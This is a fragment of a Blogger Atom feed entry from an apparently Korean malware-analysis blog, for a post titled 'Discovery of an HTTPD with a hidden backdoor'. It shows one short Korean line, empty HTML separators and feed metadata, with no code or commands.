&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
있다면 100%입니다...-_-;;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: -webkit-auto;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/2312373153137360790/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2012/04/httpd.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/2312373153137360790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/2312373153137360790'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2012/04/httpd.html' title='백도어가 숨겨진 HTTPD 발견'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhRJ916fcTi7YY0FNcv2ac2LTDN2LvdUj5PTbFTXMYIDaytUgTXhRCj-pzwkzLAJWqxbMR8bUbsjqlMTqSfuEU-M0X2KB6AwSTb_9SRJjJ6bNN8jVgUncFFrH8uWOoKTG_pLKzXjOwtg/s72-c/_shell.png" height="72" width="72"/><thr:total>0</thr:total></entry></feed>